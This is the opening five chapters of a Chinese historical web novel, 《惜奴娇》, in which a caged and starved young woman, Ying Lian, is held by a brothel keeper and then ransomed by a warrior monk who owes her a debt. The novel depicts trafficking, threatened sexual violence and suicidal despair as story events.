《惜奴娇》 1. 第 1 章 《惜奴娇》全本免费阅读 大周，庆奉三年，七月。 入了夜，天热得一丝凉风儿也没有。虽临着河，一旦出了青玉阁的门槛，没祛暑的冰镇着，不多久，折柳仍是热出了一鼻尖的汗，也不爱临门与浮浪子弟调笑了，扭身回了厅堂，招呼一个盛装仙姿的姑娘迎门揽客，自己一路行过满是朱栾花水幽香的侧厅，转了两回竹香浮隐的廊院，上得一处小楼，打鼻儿扑来满屋莲花沉的浓浓盛香，若不是有冰镇在四角，祛了暑气，折柳不定得熏背过气去。 “这香是怎么弄的？必是火调大了！”她抽出绫帕拭汗，又得小心着别晕了妆粉，心烦气躁，蹬得脚下木梯嘎吱直响，“七郎！七郎！又猫哪儿躲懒去了？你那炭是怎么安置的……” 二楼转角匆匆奔下来了个十一二岁的半大小子，皂色短衫，裤腿挽至膝盖，腰带松松垮垮，头顶诨扎了个歪髻，髻边还插了朵鲜艳艳的钵莲。 “叫你看着香，你闻闻这香浓的！”折柳劈手揪过七郎耳朵骂道。 七郎哎哟喂直讨饶，七扭八绞地要从她手下溜了。折柳冷笑着恫吓，“还偷奸耍滑，等新来的娘子调教出来，我必将你退还给你老子，你再不要来了！” 半晌她把他扔到一边，那小厮揉着耳朵一溜烟下楼。折柳还听他咕咕哝哝：“新来的娘子会调香，可不见得就给你调，哼……” 下得一串楼梯，又被折柳叫住：“回来，这花儿谁给你的？” 七郎心惊肉跳地挨回几步，指指楼上，嘴里似含了颗石子儿，含混不清，“赵、赵大官人……赏的。” 折柳大惊失色，小声责备：“你怎么把他给放进来了？” “他、他翻墙进来的，我也拦不住啊……” 说罢，趁着鸨儿娘发怔的功夫，撒丫子跑了。 折柳摇着扇，直觉一股火气从心底直烧到脑门，刚被凉意压下的燥意又冲了上来，没奈何，只得硬着头皮去见那不请自来的煞星冤家。 “赵大官人”是她恭维一嘴儿喊的，如今他钱银花光，便不再是什么大官人，露出本相来，不过就是个采花盗柳、偷鸡摸狗、入不得流的贼子。 上了楼，闺房的门虚掩着。折柳没好气一推而入，看见那躺自己绣床、抱自己竹夫人、翘着二郎腿闲闲散散哼小曲儿的汉子，心内气不过，抄起摆在一旁的佛手就扔了过去。 “赵芳庭！”她道，“你又来做什么？” 花太岁赵芳庭今年二十有五，却仍没家没业，成日里游手好闲，前段日子，也不知从哪里来到吴县，撒了大把银子，便结交上了折柳。两人相好一阵，但赵芳庭漫天使钱的本事比他在床上的本事还大，没一个月便掏尽了金银，一穷二白，竟还觍个脸吃她喝她的。偏这人嘴甜心腻，又有一身好轻功，软硬都拦不住他，折柳做了几次赔本的买卖，再不肯有好脸色给他了。 花太岁眼疾手快地一把接过佛手，嗅了一嗅，笑嘻嘻地跳起来，就要来亲近。折柳一旋身，腰肢利索得像条蛇，躲了过去，隔着桌儿，半真半假地和他发作，“你也算个道上有诨名儿的，老娘要嚷出去，说你花太岁镇日里在行院吃软饭，看你还有何脸面去见你那些哥哥兄弟！” 赵芳庭生了张斯文干净的脸，只是平日里酒色不离，心眼又太过活络，面相便时时带了三分轻浮，一双眼珠活得像游鱼似的，与“稳重”二字不沾边。他摸不着折柳的手，也不恼，就着桌边坐下来，给二人各斟了杯酒，推将过去，劝道：“都说‘销金帐里情意厚，鸳鸯枕上恩爱长’，我俩好歹做了一个月的夫妻，你赠我几日添头，改日我连本带利把该的银子都付了便是。” 折柳慢摇团扇，不咸不淡地笑，“改日是哪日？” 赵芳庭嘿嘿不答，只是眼儿往她绣了合欢的棠色抹胸上瞄。 房里也有冰时时供着，暑气侵不进这花果香的小楼里来，她歇了一会儿，心思转了几转，挪开薄纱的扇儿，任他瞧个真切，勾起绛红一点的唇，道：“也不需那没影儿的好处，如今倒有个现成的差事，你若是办得好了，我纵是再伺候你两个月，却也不难。” “一文钱不要？” “一文钱不要。” “那我不干。”赵芳庭喝下一盏，又给自己斟上，眼波微闪，“不要钱的花茶坊最贵，你去找旁的楞头小子去。” 花太岁最是条滑不溜手的泥鳅。折柳盘算着，与他摊开来直说：“又不是叫你杀人放火。后院关着的那位，你可曾见过？” “你不是不让见么？”赵芳庭纳罕，“再说蓬头垢面的，见了做甚？” “不瞒你说，我实在是没辙。模样才情都是一等一的好，就是油盐不进。”折柳叹道，“你也晓得，我现今有的那些个花花草草，大多是前几年买来的，年纪小，好调·教，若说十五六的良家子，我还真没沾过，扎手。” 赵芳庭道：“这有什么，一碗蒙汗药灌下去，先破了瓜，不信她不从。” 折柳啐了一口，“那可是老娘花七百两银子买来的！这一霄囫囵过了，明日她万一吊死了呢？我找你赔去？” “那就抽几鞭子嘛！又不是什么了不得的事。” “不成！”折柳又给否了，“鞭子板子戳子，那都要是落疤的，我还指望她给我撑门面，皮肉可不能伤损一点！” 赵芳庭便笑了起来，“你那就供着她，一日三顿，求她个十年八年，不就回心转意了！” 折柳转到他身边，菟丝子似的攀过来，在他肩上不轻不重地掐了一把，轻拢慢捻地挑·逗，道：“我想着，你不是惯会对付这些闺秀娘子么？不如……你去试试，说项说项，嗯？她若松了口，往后自有你的好处……” 最后的话越说越低，一把嗓子软得似能出水，把赵芳庭勾得心旌摇荡，待再要去摸，她却又溜得没影儿了。 < 2. 第 2 章 《惜奴娇》全本免费阅读 余皆昏暗，只其中一间门口的灯架上摆着一盏美人纱灯。她掀起薄纱灯罩，探手取出中间燃烛，递给赵芳庭，自己开了门上锁头。 那门被推开，发出吱嘎的悠悠颤声，里头暗得不见五指。赵芳庭摸到一架灯盏，倾烛点燃了，登时一屋橙黄尽染。他一面将屋下剩余几支残烛点着，一面打量整间屋子。 说是柴房，并不见一点干柴，却有一面几层的架子，零零碎碎摆了许多鞭子、烙铁、拶指之类，还有些稀奇古怪、名字也叫不上的腌臜玩意儿。架旁设着一列六幅的彩绢屏风，绢上精描细绘了六般恩恩爱爱的春.宫秘景，设色图样既雅且艳。赵芳庭头一次进屋，看得挪不开眼去。 透薄的彩绢后隐隐透出些形状来。他定定细看，却是个方方正正的铁笼，刚好够一人舒臂伸腿，却再挤不进第二个。 “娘子这恩威并施的本事却是不错。”他笑道，便再转过屏风，看里头光景。 笼子里蜷着个人。 若不是那一堆褴褛破衫里有瑟瑟的微弱起伏，赵芳庭差点要错认成一团杂碎。他细细辨认，这里是头、这里是背、这里是脚…… “你说她是个小娘子？”他晃晃脑袋，觉得该先问一句，“……还活着？” “活着！”折柳没好气地白了他一眼，气也不知是冲谁撒的，“本来也没想将她畜生似的关着。原先还有个丫头同她一起，只放在屋中，不料两个相互撺掇着外逃，教那个跑了。万幸七百两的这个被逮回来，这不只能投在笼子里，少与些饮食，好教她乖顺服帖些，却又成日价哭哭啼啼，惹人心烦。” 赵芳庭从这一面踱到那一面，那七百两小娘子只把头闷在臂弯里，缩得比个栀子灯大不了一点，只是看不见脸。 “抬起头来。”他温言软语。 那人不动。 他回看了眼折柳，带出三分笑来，又道：“你莫怕，方才你娘说要一碗蒙汗药药倒了你，污了你的清白，是我拦下了她。” 笼中人几不可察地动了动，衣衫摩挲间，便透出了那瘦骨伶仃的脊梁来。 折柳又抽出帕子来拭汗，只觉得这闷不透风的屋子里又暗又潮又热，还隐隐有股不大好闻的味儿。 但为了她的七百两，无论是冲鼻的汗味馊味，还是赵芳庭的取笑，她忍了下来。 笼中再没了动静。赵芳庭又道：“你是好人家的女娘，本不该沦落行院，不若咱们商量个去处，既不教你遭人耻笑，也顾全了你娘，可好？” 他耳目好，既见得那小身板儿耸了几下，又听得了臂弯里头有细微的抽泣，便知有门路。而折柳在后头不声不响地立着，眼眉上挑的模样，尤其惊讶他哄骗人的本事似的。 赵芳庭又说了第三层。 “你可知，这一行院人等，尤其是别个小娘，她们自小入这行，吃了多少苦头，就盼着有朝一日赚了点银钱，赎了身去，重做个清清白白的人。现而今钱都花在了你身上，你娘掏光了家底子，小娘们可怎么活呢？难道坐看青玉阁垮了，她们沦落成更贱一等的营.妓？为你一人，毁了那么多小娘一辈子，你可心安？” 也不知是哪一句打动了她，最终，那张脸抬了起来。 想来，赵芳庭觉得，经历了遽然变故，从云上跌落尘埃，像畜生一样在笼子里关了几个月，日日夜夜的折磨啼哭，再貌美的女子也光彩不到哪里去，必然骨瘦嶙峋、形状枯槁。 但他倏而忽略那张泪污混布的脸，瘦脱了相的尖下巴，甚至忽略了满头飞蓬似的乱发，只看见了额发下那双莹莹澈澈的眸子。 秋水为神，星点为芒。隔着琉璃揉碎的斑斑泪珠，他仿佛看见了一整个濛濛雾漫的江南。 只这一双眼，她若笑起来，不知要勾走多少王孙公子的心魄；这小小的青玉阁，又不知要惹出多少是非来。 赵芳庭咽了下喉头，觉着有些干，对折柳道：“爱卿。” “呸，谁是你爱卿。” “爱卿，折柳娘子，”他道，“听我一句劝，这女娘，你趁早把她打发走为上。她迟早要为你惹来祸端。” 折柳满心的不以为然，“她若不是这么一副好相貌，我是吃饱了撑着，千辛万苦把她救出来？” 暑气裹挟尘泥的酸败，往人鼻缝里钻。偏生他们又冷场了一晌，赵芳庭知道折柳貌似精明，实则一根筋拧到底，知劝她也没用，只得安慰自己，再弄不到银钱，总之先辈扫地出门的是他，自也不必替这才好了一个月的露水爱卿担忧。 忽而，听笼中那女娘开口，低、哑，彷如在污尘里被碾碎的明珠，“……我没有，求你救我。” 她重又低下头去，有气无力的样子，使赵芳庭再看不见那水一样的朝雾眸，却只见两点湿意，晕开在了她身下的尘土里。 · 应怜想，恐怕这一辈子，就这么无望了。 要么最终熬不住，折倒在这个“娘”手里；要么像上辈子那个娘一样，一头碰死在祠堂碑前，就当着她的面。 ……上辈子？ 她昏昏沉沉，总觉得两番已隔了世，否则怎会有一个应怜坐在天上明月里，欢笑无尽；另一个应怜却身如蓬草、辗转飘零，被折断又践踏？ 她娘往常总点着她的额，叹着却怜惜道——我这小女儿，般般都可，就是胆子太小。 我的确太怯懦，否则应该早在变故那日，就随着娘一起，也碰死在碑上，让我的血重归她的血里，我的肉和她埋在一处。 她眼眶干涩，总以为泪已淌尽，却又止不住地流出来；就像她以为此身已经跌底时，偏又逢了更恶的舛途。 “我不想……你救我，”她咽下泪，脸上被咸湿皴得刺痛，攥着膝上已辨不清颜色的破罗裙，手指紧到发白，用平生最大的胆气，横下一条心道：“那些女子……也不是我害的，我清清白白，不受你挑唆！” 笼子虽不如墙，到底是生铁做的，足够坚硬，等那两人一走，灭了烛火，她就撞上去，一下不行，就两下、三下…… 娘在奈何桥上，略闭一闭眼，莫要看她那么狼狈的模样；再等一等她，她迟了些，到底没太晚，他们娘儿俩相携着过最后一程，来世还成亲缘。 元羲…… 还有元羲。 她千盼万盼，望眼欲穿的人，怎么到头来一面也没见着。他此刻在做什么 3. 第 3 章 《惜奴娇》全本免费阅读 青玉阁原没有名字，只是一处待赁的私宅。七年前折柳来到平江府的吴县，看中了其雅致清幽，又临河面山，是个赏玩一年光景的好去处，这才动了念，赁下其中一间，做起了女校书的勾当；渐渐攒下些家当，便把整个院子都赁下来，又买了些好资质的丫头，对外只说是本处员外家的奴婢，从此将日子支棱起来了。 偌大家业，又是这样的行当，自是少不了用十几个逞凶夸恶的仆役，任他什么样刁蛮的浪荡子，也不敢在这些人手底下讨了巧去。 折柳原是不担心的，但走过廊前小园的时候，却见灯火影影幢幢，映照得步影缭乱，仿佛许多人避散的模样，箫声琴声一律歇了，浮起一波又一波女娘们的惊叫声，而在嘈嘈杂杂的呼喝发狠声里又微弱得不堪一提。 这是打起来了，往常也不是没有，一时半会消停住便罢。她一边想着，又见原先使七郎唤她的小娘白露，匆匆细步，撩了珠帘而来，顶上特髻半连半落，走动间还碰掉了一支鎏银白角梳，一见了她，顾不得拾捡，张嘴哭诉，“娘哇！那秃驴好不晓事，我好意待他，他却把我搡到一边，又与哥哥们闹起来了！” 折柳来不及心疼，只抓住她便问：“和尚怎么说？要谁？” “要……”白露附耳向她说了几句，末了扶扶正头上特髻，道，“他说他一路追着娘南下的，故此对她的所在一清二楚，只是此番去募了钱，才来赎人的。” 折柳心思转了几转。 冷不防一个仆役被扔着扑到了后门来，又把两人惊了一跳。折柳便将白露往后头推，“你先回楼上拾掇拾掇，等风波定了再下来！” 该来的拖不过去。她是满院的掌事，这种时候再不能缩在里头。 折柳大步迈进前厅。 里头正乱着，银釭翻倒，灯影婆娑，幔子、绫子扯来踩在脚下，茉莉、榴花被碰落碾踩，零落香泥；酒盏、果子咕噜噜乱滚，酒液饮子甘甘美美地喂了好几贯买来挂在墙上的仕女扑蝶图，墨渍晕了半幅。列屏也倒了，椅子也倾了，连人都飞出去了好几条，俱是平日里夸口相扑再无敌手的赛金刚、铁罗汉、一锭钟，呀呀嗬嗬地叫喊声中便掺了多少声呼痛的哎哎哟哟。 客人是一个都不见了，女娘们也远远躲在了一边，因此折柳眼儿一打就看见了立在红烛彩绡之间的那魁梧僧人。 他一身皂布大袖直裰，衣摆勒在腰下，和搭膊缠袋拨在一处，项上一串一百单八颗沉香木念珠，浆色光润；脚下腿绷护膝、八搭麻鞋，粗豪利索，又不甚整洁，显是一路远道而来。烛火燃得有些高，几寸的焰苗摇曳不定，映在他泛红微深的脸上，折柳只见一对浓眉骨峰英挺，两颗眸子寒星一般，射出凌厉的湛光，虎豹攫食似的瞪着再不敢近前的七八个壮汉。 折柳被他拿眼一扫，心中便打了个突，这哪像个佛前供奉、山下结庐的僧人，分明是个只身敢闯阎罗殿、不敬天地不敬神的煞星！ 若是平常事故，十几个仆役对付不了，她尽还可以让人拿着名帖，私下去找平江府知府平事，但应怜的来历含糊，她不敢将这事捅给府衙知道，对这打上门来的莽和尚，就只能安抚赔笑了。 但同时心窍又一动，这和尚身手利落，对付十几个壮汉尚且如云狂风卷，若是怀着歹心，早在她带着应怜从洛京回平江府的路上，就足可以抢了她去，哪怕把自己杀了路边一埋，恐怕也不担官司。 既明晃晃地找来，就说明这不是个贼匪。 想到此，折柳清清嗓子，找个不远不近的墙柱倚着，以防一言不合他打将过来，自己好闪身躲开，见他乌云似的眉目沉沉压来，便道：“你这莽僧，我们是旧日里有仇怨不曾？还是哪位娘子一句话不到，把你惹恼了，你要把我这里搅个天翻地覆？” 和尚上下打量了她一眼，并不多看，只是站定了开口，声若雷霆，“我知道你这里收了应小娘子，我是来给她赎身的！” 原来白露说的尽是真。折柳蹙起眉，余光里尽是一片狼藉。身边仆役一瘸一拐，问说可要找公人来缉捕，她挥挥手，让他们只在一边，斟酌着答对，“你将我这里砸得一塌糊涂，竟说要给人赎身，且先不提赎不赎身的事，这一地零碎，你怎么该我？” 她不过是试一试这秃厮讲不讲理，不想对方收了步势，环眼四周，一刹时英武的脸上透出了点尴尬，辩解了一句，“是她们先要来拿我的，你那些庄客又不讲理！” 他随手指了两个缩在角落彩幔里的小娘。折柳看过去，一个胆大些的颤颤地道：“奴不过是请他吃茶……” “奴想替他擦汗……”另一个道。 那和尚脸涨得通红，一言不发。 “既是一场误会，那就坐下来谈！”折柳忙顺坡下驴，面上殷勤起来，亲自扶正了两张缠锦团花绣墩，请他坐下，打眼色使人略略收拾狼藉，又摆上冰雪荔枝膏来，让他压压火气。 “该你多少钱，我一并赔了就是。”他不吃，只道。 折柳便一件件算起来：“最贵的不过是那幅画儿，仕女扑蝶图，是前些年被钦封‘画院女待诏’的孙娘子的真迹，我花了五十贯请来的；次之便是我这刻丝蜀葵毯，虽不如画儿那般高雅，但也是本地头一等绣行的名家手笔，当初我使了三十贯买下，如今给你折个价儿，十五贯。还有所有薄纱罗彩幔一匹，五贯；整套的戗金桌、椅、案，架，被你这么一砸，得补吧，可不便宜，一二贯总有……” 她一手指点，另一手依次地数，看似全然专心致志，实则余光一直瞄着和尚，最后把手一拢，“请教师父贵上下？在何处宝刹修行？” “贫僧宗契，自五台山佛光寺来。”对方道，垂挂的念珠在烛火下温润微明。 “好，宗契师父，”折柳话音一转，面带痛惜，“这林林总总的加起来得二百贯钱，只不过风波并非由你一人而起，敝处也有不是，我俩便平摊了这些损失，如何？” 宗契虽然被尊称一声“师父”，相貌却十分年轻，甚而有些英朗憨直，并不圆滑，一口应下，继续道：“那应小娘子……” 话音未落，一个身带香风、云鬟花冠的锦衣女子从后堂赶来，低眉垂眼，脸色却不大好看，到得折柳身边，俯身在她耳畔轻说了些什么。声音太细微，饶是宗契耳力好，却也听不清一个字。 折柳神色骤变了一瞬，便以扇遮了半张脸，不教对面人看个真着。 “现下如何？”她蚊蚋般轻声发问。 白露将手在她耳畔拢得更密，务教对话不传进第三人之耳，“救下来了，只是额上青紫了一道，若不是恰好我进门惊了她，恐怕就见血了。” 折柳朝她轻摆了摆手，令她下去了，转过来时，已经面无异色。 “行吧，我知师父是个诚心的人，我也不敢欺瞒佛祖的弟子。”她尽力让声音不那么急躁，缓缓道，“我有意做些善事，姑娘们在我这儿有好的出处，我欢喜还来不及。既然师父都知道，我也就不隐瞒了，她就在后院。只是敢问一句，您是个出家人，早已断了七情六欲，此番又是为了什么？” 那宗契和尚眸光墨色清明，一室的烛红落进眼底，化作天河清辉。他直视折柳探究的目光，缓缓吐出两个字，“报恩。” · 应怜从浑浑噩噩中略清醒了一二分。 她被迎面泼了一碗凉水，激灵灵回过三魂七魄来，只觉有条手巾就着一脸水，细细地从下巴擦到发间，皴裂处火辣辣的刺痛让她不舒服，却被人掰着，没力气别过脸去。尤其是额上，那手巾粗粗一沾，就疼得钻心，又生出几分欲要呕吐的恶心来。 她勉强推开那几只手，翻了个身，干呕半晌，浑身激出了一层白毛汗，却什么也没吐出来。 似乎一天多没吃东西了，上一顿是某个时辰的一碗稀粥。他们就这么吊着她，想用饥饿来迫她点头。 手触到了一张柔软的床。她按了按，是凉滑透气的丝帛，难道……终究是点了头？ 迷迷离离间，有两个声音在头顶讲话，都是女子。 “弄成这样，还活得成吗？” “没事儿，皮肉没伤损，八成是震了一下，晕了。待会咱们给她换件衣裳，再喂点吃的，好教她精神些，别让那煞神逮了把柄。” “嘿！咱们娘真有一手，九百两银子，想必那和尚把家底儿都掏出来了。咱还净赚二百……哎，那和尚自称五台山来的，我看生得十分丈夫气概，你说……他真是个和尚么？” “哼，就算是，也不是什么正经和尚。哪有正经和尚进行院的？再且说，这念经打坐的人能一下拿出那许多钱财？” “说的在理。我听说专有那等拐骗女子的僧道，带回去了，供一整个庙观享乐，若真是这样，那还不如待在青玉阁呢。” “没听咱娘说么，似她这般烫手的山芋，索性还是趁早丢出去了才好，娘折腾了好两个月，若不是好歹赚了些，恐怕肠子都要悔青了。” 两人兴许以为她还昏着，因此说话全不避忌，说什么和尚不和尚的，好像还与自己有关。 应怜惶惑不安，却不敢睁眼，只得硬挺挺地躺在那里 4. 第 4 章 《惜奴娇》全本免费阅读 五更天，巡更的鼓声响过五回，钟点敲了三下，廊外天光初泛，青灰蒙蒙，檐下苍苍，连廊窗棂已能辨认。秾李熬了一宿没睡，揉着通红的眼，携应怜来到后院角门，抽开门栓。门口正对一条斜歪歪的小巷，应怜望过去，巷口迎着灰扑扑的天色，有辆青褐油布棚顶的牛车，辕上坐着个隐隐约约模样的车夫，还有个人影立在一旁。微明的光亮斜射进来，将那轮廓量得奇高，如她从前在大相国寺后仰见的那些金刚罗汉一般。 那光也刺到她眼睛里。应怜眼眶发涩，又肿又疼，只得微眯起眼，却怎么也瞧不清那个影影绰绰的高大身形，只微摸瞧见了他被晨风掀起的一角皂布衣缘。 秾李却又把她拉回来，重掩了门，四下望望，左右无人，连厨房也没个声息。她走到堆放着一人高的柴垛旁，抄起摆在角落的一柄劈柴斧，又麻利地从榴花红裙下取出了个巴掌大的银碗。 应怜吃惊地看着，不知她一手碗一手斧，要做什么。秾李却对她抿嘴一笑，悄声道：“候着。” 说罢，她将银碗搁在劈柴的老桩上，拿斧背重重一磕，又将扁匝匝的碗片折了两折，再一斧背砸下。 约摸砸了数十下，那做工讲究的小银碗已成了一方扁圆的银疙瘩。秾李才拿起来，吹了吹尘土木屑，又拉应怜来坐到桩上。 应怜大惊，“你莫要、莫要……” “不劈你！”秾李又把她按下去，不由分说，脱下她新穿的那只厚底薄面儿的穿花修鞋来，使力将银疙瘩塞进去，“娘只说不让我给你衣裙簪环，没说不许你带只碗走。你啊……” 她蹙着眉，发了狠，又拼命往里挤了两下，觉着到底了，便让应怜来穿。 “……往后跟着那和尚，我想了，发里、衣里都藏不住的，但他总不至于往你鞋尖儿里瞧。他若果真凌.虐你，你寻个空当跑了，这点银子能救你的命。” 只是鞋里能有多大的空地儿，试了几下，应怜勉强将脚挤进去，脚趾有些磨。 她没叫唤，忍了下来，知道秾李是为了她好。 秾李又嘱咐：“千千万万可休要叫他发现了！平日里再短了钱使，也莫要拿它出来。只有万不得已之时，再拿来用，记着了？” 应怜鼻中一酸，不敢细看她眼睛，只垂着头，盯着那绣花精巧的鞋面，哽咽地答应了一声。 她记起她娘往常总笑话她，“你就是被我养得太娇了，不知民间疾苦，也不辨忠奸善恶，总以为这满全天下都是好的。” 当时她满不服气，辩驳道：“都说岁久辨人心。旁人我不晓得，至少春枝、雁回她们几个是再好不过的！” 春枝、雁回，是从小和她一处长大的女使，她们每日里伺候她吃、伺候她穿，一处游乐、一处起居，陪她笑、陪她哭，风大些怕她刮乱了发，天冷些怕她冻着了手，任何一处不到，她们都替她想着，简直如同她的手、她的足。 “那是因为你身上还有她们可图。”娘听她说完，乐不可支，而后道，“要想弄清她们是爱你这身份呢，还是爱你这个人，倒也好办，只看你困厄潦倒时，她们是否还愿意如此待你就行。” “您打笑我！” 那会儿她心里想的是，那可怎么办呢？若按娘这样讲，她恐怕是一辈子都没机会试验她们是否真心了。 然而如今她果真困厄潦倒，春枝、雁回风流云散，拨云照雾后，她见到的，却只有一个秾李。 秾李只看着她笑，眸中流露出三分歆羡、三分惋惜。 “我……”应怜喉头哽得一句整话都说不出来，半晌咽下泪，道，“我什么、都没了……报答、报答不了你……” “傻子，谈什么报答呢。”秾李轻叹一声。 她仍将斧搁回原处，背着应怜，似乎在想心事，半晌，又开口：“到底不可轻易信人。你还记得那范碧云么？” 应怜一怔，点点头。 “她当日和你一处关在屋中，比你还小两岁呢。她就不见得像你这么傻。”秾李话里淡了三分，道，“那日我瞧得真真儿的，你往西廊下逃，那里虽连着洞门，但外头过了天井，就是前厅；况你到不了洞门，就被厨房的铛头伙计瞧见了，哪能逃得了？她却候你惹下乱子，猫着身子顺着东廊从角门出了。喏，就这道门。” 应怜说不出话来，脸上火辣辣地疼，好似被人用沾了辣椒水的鞭子抽了一记。 分东西两廊出逃，是她们定下的计策——准确地说，是碧云给她谋划的出路。 “日午时，会有人送食水来，我瞅准了给她脸上扬一把土，趁她迷了眼的当口，咱们就分头逃跑，你往西、我往东。”她挨着她，凑近她的耳朵悄声说话。余光里，应怜只见她眸中透着破釜沉舟的决心，“我见那些娼.妇都是从东而来，料想西面清幽，你定能脱了身去。” 她颇为感动，问：“那你呢？你若被捉了怎么办？” 碧云笑道：“无妨，只要咱们能逃出去一个就是赚了。” 她玲珑纯善的笑靥颇为灵动，应怜到此刻都还记得。 秾李不再多说，只推她出了去，自己在门槛里，探首而望，见应怜走出几步又回过头来，便向她摇了摇手。 应怜又哭了，眼泪顺着半干的泪痕往下淌，吸吸鼻子，抬手背抹去，终是别过头，一步一滞，走向了淡白天光的巷口。 那个堵在出路的身影岿巍，阴翳几乎将她笼罩。她不敢抬头，几步一顿，硬着头皮上前，头里又开始刺辣辣地疼了起来，小锤子不停地敲似的，连带着升起一股烦躁窒闷之感。 她看见了那双沾了远路而来的干涸泥点的灰白腿绷，压出了凌乱皱褶的皂色衣角。继而一道略微低沉粗犷的声音，含着三分惊讶、三分迷惑，“怎么这般瘦小？莫不是弄错了人？你是应怜不是？” 应怜觉着自己成了一盘任人打量的菜，既难堪又惶恐，深吸了几口气，终于抬起头来，压着自己与那人对视。 他足足比她高一大截子，在她跟前，如一座魁梧的塔一般，松枫挺拔，气概如山，确是个僧人，又不大像僧人。与之相比，御前的镇殿将军似也不过尔尔。 应怜倒吸了一口冷气，像被鹰拿住的兔子，只觉得在这一双怒目金刚似的眉眼下，连动也不敢动，浑身僵住，只嗫嚅出了一个字：“是……” “怎么还印堂发黑？”那和尚又皱了眉，粗声质问。 她张了张嘴，泪眼中，诸般光景含含糊糊，眨了眨，那些水汽便都挂在了睫毛上。 对方也愣了愣，又深深望进她眼里，“……是了，是你没错。” 说着，让开一步，撩起牛车的油布帘子，“上来吧。” 应怜懵里懵懂，不明所以，越被他盯着就越心虚，只得一言不发，手脚并用，爬了上去。 刚坐定，青褐的油布一放，车里光线便昏暗了几分，只摇晃不定的底隙里映出灰白的光亮来。一番动作，她又出了一阵虚热，后背汗黏黏的，喘不匀气息，头疼却明显起来。 车身微微下沉，有人坐了上来，隔着帘子，声沉音阔，“去哪儿？” 应怜也不知是不是问她，又觉着奇怪，问她做什么。她张嘴欲答，却猛地窜上一阵恶心，头晕目眩，连帘子下淡淡的光影也旋转了起来。 晨起有人出斜巷口倒水，车子颠颠地动了两动，给人让道。她头里一抽一抽地痛，说不出话来，扶着青布壁衣，捂着肚子，只觉天旋地转，“哇”一口将后半夜吃的粥全吐了出来。 一阵忽寒忽热，刚才还能走动，此时发作起来，竟然连坐都坐不住，身子硬挺挺地直往下滑。 < 5. 第 5 章 《惜奴娇》全本免费阅读 他便继续念他的《往生咒》，念珠来来回回地拨，间或瞧一瞧仍被制着的应怜，只见她挣扎间，窄窄的湖绿纱袖里露出一截伶仃细弱的腕子，整个人瘦得也仿佛一阵风就能刮倒。 太瘦了。 哪里还有半分元夜时盈润皓月般的风采。若不是那双眸子生得太好，一眼便教他忆起来，他哪里敢认，这便是当初十两银子救他一命的女娘。 再去洛京时，他打听到，应氏满门男丁被斩首于市，主母触碑而亡。 那么今日这咒，便不念于旁人，只当为超度她双亲的亡魂就是了。 · 不知哪里传来了纶音佛偈。念诵声不急不缓，低沉宽正，莲华妙法，一点点拭尽残血腥风。她在碑下吓得发抖，抬眼再看，却见了满目金霞，一丽装的妇人渐行渐远，回首来望，向她慈和地点头，眸中诉不尽千怜万爱，遗憾不舍。 应怜的眼泪如断了线的珠子一样往下落，呜咽不成声，望尽她脚下的归路。 “回吧，惜奴。”娘说。 压着她的那碑不知何时已经轻了，但她见娘亲的身影逐渐消隐，匍匐余地，嚎啕大哭。 哭了不知多久，金霞瑞彩与佛音一道，也渐渐远去，来路尽处，复归幽暗混沌。应惜奴此身轻飘飘如无形质，没了亲缘牵绊，也没了儿女情思，终于昏昏睡去。 · 施了一场针，于小半日后，应怜转醒，此后汤药针砭，几日内时时用着，一应俱全。 她权住在药铺子后辟出的一间小屋内，这是专为卧病妇人准备的，隔开了前头一切人声吵嚷，住着倒也清静。 来端汤送药的妇人即是药铺子的主母周娘子，她道应怜只是头磕碰了一下，因此脑气有所惊动，只需静养个十来日，便能痊愈；只是因常久以来调养失当，脾胃太虚，肝火又太盛，以致阴虚火旺，才有郁郁烦躁、神思不属等症，需用当归、黄连、黄芩、栀子等温寒性平、滋阴养气的汤药调理，佐以饮食的调养，少则一旬，多则三月，必能有所裨益。 应怜于药理一道并不大懂，只是周娘子是近几月来唯一肯与她和气交谈的长者，谈吐恬雅，各事料理得也殷勤，因此这些时日，两下亲近了许多。 至于送她来的那宗契和尚，并不怎么到后头来，只一次隔着晃动的湘帘，她在帘后院中，隐隐听着内厅里两个说话声。 一个便是宗契，他声色总如贯雷掷地、飞瀑倾潭一般沉润，很好辨认；一个是药铺的主人李员外，似乎在商议什么。 “这五日的药吃下，已渐有起色。小娘子脉象平和了许多，气色也红润了不少。”李员外道，“师父今日可曾看望过？” “还未曾，一切有赖员外照应。”这是宗契的声音。 应怜本在里间和后院来回走走，舒络一下腿脚，本觉得隔墙窥听是小人行径，但不知为何，鬼使神差一般，就在墙下安置的小杌子坐了，听他们往下讲。 李员外沉吟片刻，又道：“这药须得吃下去的，只是此前通共才开了十贴，到今日晌午前已尽煎了，依我看来，总还得再服用个七八日。不知师父……” 宗契爽快应下，“那就听员外的，要付几个钱，我即刻拿来。” “哎，不急！”李员外拦住他，“不是钱的事。是敝处缺了几味药材，我指与你一家铺子，就在这左近，他家家业大，想来是供应得上的。” 说着，他叹了一声，对宗契点明前情缘由。 原来是旬日前的中秋夜，本县的官署放了三日宵禁，结果混进一批南来的流民，与巡城的厢军起了冲突，甚有死伤，余下残众退至城外，孤苦凄惨。因此本县药市的行老挑头，发动各家药铺施汤舍药，便有几味药材一时就格外地紧俏。 “今年时节反常，伏天大热，淮东路一带都遭了旱，朝廷不加赈济，赋税不减；司天监勘窥天道，又道辰星入奎，是来年水涝之相，各州县又使征夫开渠固堤，劳民动众，眼见着世道一日日清冷下去了。”李员外心有戚戚。 两人又叙了一回，各叹民生不易，宗契便辞了员外，出门去置药材。 只两盏茶功夫，他却又踅了回来，一路绕过铺子前，撩帘过院，到了后头，却没进屋，立在门前发了会怔。前头李员外叫问：“师父，药材可带回来了？” “……就快，我来取一趟钱。”宗契回道。 大夫倒不意外，“是了，你走得急，我疏于提醒了，最近药材有缺，价钱上涨，先前那十贴用了两贯，如今恐怕两贯才能配六贴。” 应怜穿了双周娘子给的青绢靸鞋，方才院中走了两趟，到微微出汗，便回屋歇着，听见外头动静，不由得开门探身往外瞧，不想宗契默默站在门口，抬手正要敲门的架势。她吓了一跳，忙撤回身，后退了一步。 宗契身量高，又魁梧，遮挡了日光，阴影便泰山似的罩下来，将应怜衬得又瘦又小。他因惊扰了她而有几分赧然，站定在门口，并不进去，只道：“烦娘子把我那腰橐拿来。” 药铺子后头按例只纳病患，宗契与她又男女有别，故夜间只睡在邻近的小客店里，偏他日间又要往药铺子跑，怕人不在时，客店手脚不干净惹出絮叨，索性将腰橐与应怜收着。 